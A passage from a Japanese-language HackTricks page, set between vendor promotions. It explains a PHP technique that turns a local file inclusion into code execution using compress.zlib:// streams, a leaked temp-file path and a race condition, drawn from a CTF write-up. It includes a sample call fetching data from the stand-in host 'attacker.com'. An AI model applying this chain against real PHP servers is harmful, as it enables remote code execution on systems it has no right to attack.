LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure

htARTE(HackTricks AWS Red Team Expert) を通じてゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

WhiteIntelは、ダークウェブを活用した検索エンジンで、盗難マルウェアによる侵害を受けたかどうかを確認するための無料機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃に対抗することです。

彼らのウェブサイトをチェックし、無料でエンジンを試すことができます:


compress.zlib:// および PHP_STREAM_PREFER_STDIO

フラグ PHP_STREAM_PREFER_STDIO を使用してプロトコル compress.zlib:// で開かれたファイルは、後で同じファイルに到着するデータを書き込み続けることができます。

これは、次のような呼び出しを意味します:

file_get_contents("compress.zlib://http://attacker.com/file")
攻撃者.com/file にリクエストを送信し、サーバーは有効なHTTPレスポンスで応答し、接続を開いたままにしておき、後で追加のデータを送信し、それがファイルに書き込まれる可能性があります。

この情報は、php-src コードの main/streams/cast.c のこの部分に表示されます:
/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

RCEへの競合状態

このCTF は前回のトリックを使用して解決されました。

攻撃者は、compress.zlib プロトコルを使用して、被害者サーバーに攻撃者のサーバーからファイルを読み取る接続を開かせます

この 接続 が存在する間、攻撃者は サーバーによって漏洩された一時ファイルのパスを外部に送信します。

接続 がまだ開いている間、攻撃者は自分が制御する一時ファイルを読み込む LFIを悪用します。

ただし、Webサーバーには、<? を含むファイルを読み込むことを 防ぐチェック があります。したがって、攻撃者は 競合状態 を悪用します。まだ開いている接続で、攻撃者Webサーバーファイルが禁止された文字を含むかどうかを確認した後に PHPペイロードを送信しますが、その内容を読み込む前 に送信します。

詳細は、競合状態とCTFの説明を確認してください https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

WhiteIntel は、ダークウェブ を活用した検索エンジンで、企業やその顧客が 盗難マルウェア によって 侵害 されていないかを確認するための 無料 機能を提供しています。

WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。

彼らのウェブサイトをチェックして、無料 でエンジンを試すことができます:

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated